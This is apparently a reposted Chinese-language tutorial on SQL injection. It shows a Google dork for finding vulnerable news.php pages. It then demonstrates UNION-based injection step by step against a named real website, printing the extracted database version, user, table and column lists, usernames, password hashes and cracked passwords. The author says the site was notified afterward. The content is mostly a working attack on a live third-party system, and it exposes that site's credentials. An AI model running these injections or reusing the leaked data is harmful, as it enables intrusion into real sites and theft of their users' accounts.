SQL注入,sql注入原理

來源:互聯網
上載者:User

SQL注入,sql注入原理

通過成功地SQL注入,可能可以拿到目標資料庫的全部資訊!

首先要找到目標網址,以進行漏洞測試。

在google中搜尋:inurl:news.php?id=2

任意點入一個網址:在網址後追加SQL語句,如果報錯,則OK,可注入,如果未報錯,無可注入漏洞或未找到。

 比如,找到一個網址:http://www.calidus.ro/en/news.php?id=2

將此連結變成如下,去訪問

http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1--http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2--http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3--http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3,4--
前三個會提示如下資訊:

Query failed: The used SELECT statements have a different number of columns

由於union的兩個查詢的列的數量需要一樣,所以可知正常的查詢就是4個列。
第四個返回正常的文章外,還返回了

24

說明1,3雖然查詢了,但是沒有顯示出來,那我們就利用2,4欄位。

http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,database()--
5.1.70-logcaliduzb_calidussql
以上,查出了資料庫的版本和當前資料庫名。

下面,查出資料庫使用者名稱。

http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,user()--
5.1.70-logcaliduzb_calidus@localhost

由於此版本已經不支援password()函數,暫時無法查到密碼。

下面的sql查出當前資料庫中所有的表.

http://www.calidus.ro/en/news.php?id=2 union select1,2,3,group_concat(table_name) from information_schema.tables  where table_schema=database()--

2
about,about_de,about_en,categories,categories_de,categories_en,contact,contact_de,contact_en,customers,eco,eco_de,eco_en,faq,faq_de,faq_en,forum_answer,forum_question,galleries,gallery,gallery_de,gallery_en,gallery_images,imp,mission,mission_de,mission_en,news,news_de,news_en,pellets,pellets_de,pellets_en,prices,products,products_de,products_en,projects,projects_de,projects_en,special_offers,special_offers_de,special_offers_en,support,support_de,support_en,users,vizion,vizion_de,vizion_en

看到一個users表,先看看欄位:

http://www.calidus.ro/en/news.php?id=2 union select 1,2,3,group_concat(column_name) from information_schema.columns  where table_name='users'--
 user_id,user_type,user_regdate,username,user_password,user_email,user_lastvisit,user_last_confirm_key,user_new_privmsg,logcode,username_clean

有使用者名稱、密碼欄位。

下面就查一下使用者名稱、密碼。

http://www.calidus.ro/en/news.php?id=2 union select 1,username,3,user_password from users--

dexmoda0dbde9503e13437db0f854b0b72a73badmin63a9f0ea7bb98050796b649e85481845miladro122f961db675f6a45b998594471a990b

使用者名稱是明文,密碼hash過。上解密網站一查,分別是marjan,root,沒解出來。

到這裡,去找網站的管理介面就可以管理網站了。(已經給網站聯絡郵箱發郵件告知sql注入漏洞)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.